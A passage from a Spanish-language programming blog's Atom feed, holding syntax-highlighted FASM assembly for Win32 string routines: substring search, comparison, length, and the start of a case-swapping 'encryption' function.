51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; MessageBox&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;////////////////////////////////////////////////////////////////////////////////////////////////////&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; //&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;//c1 = Cadena &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; //&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;//c2 = Cadena que se buscara en c1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; //&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;// Retorna: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; //&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;// apuntandoa la posicion de c1 donde se encontro c2 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;// by YST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;////////////////////////////////////////////////////////////////////////////////////////////&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; cInstr&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;c1&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;c2&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;c2&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;c1&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jg&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;Falso&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;c1&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;c2&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; comparar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;c2&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;Falso&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;FALSE&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; comparar &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;SRC&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;DST &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Funcion que compara&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;SRC&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;al&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;repnz&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;scasb&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;not&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;SRC&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;DST&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;repz&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmpsb&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jnz&lt;/span&gt; Next&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;Next&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCadena &amp;nbsp; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Funcion que mide la cadena&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;al&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;repnz&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;scasb&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;not&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;end&lt;/span&gt; start&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-3606372857328667589?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/3606372857328667589/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=3606372857328667589&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/3606372857328667589'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/3606372857328667589'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/05/src-cinstr.html' title='[SRC] cInstr'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-1673522831550625822</id><published>2009-05-15T22:56:00.001-07:00</published><updated>2009-05-15T22:56:54.700-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>[SRC]EncriptacionChangeCase</title><content type='html'>&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'win32ax.inc'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;data&lt;/span&gt;&lt;br /&gt;xD &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'[soy una cadena.]'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;code&lt;/span&gt;&lt;br /&gt;start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; EncriptacionChangeCase&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;xD&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; MessageBox&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;xD&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Función que transforma las miniscula a mayusculas y viceversa&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; cCadena = Puntero de cadena a encriptar&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;  By YST&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; EncriptacionChangeCase&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCadena&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cTamaño&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: 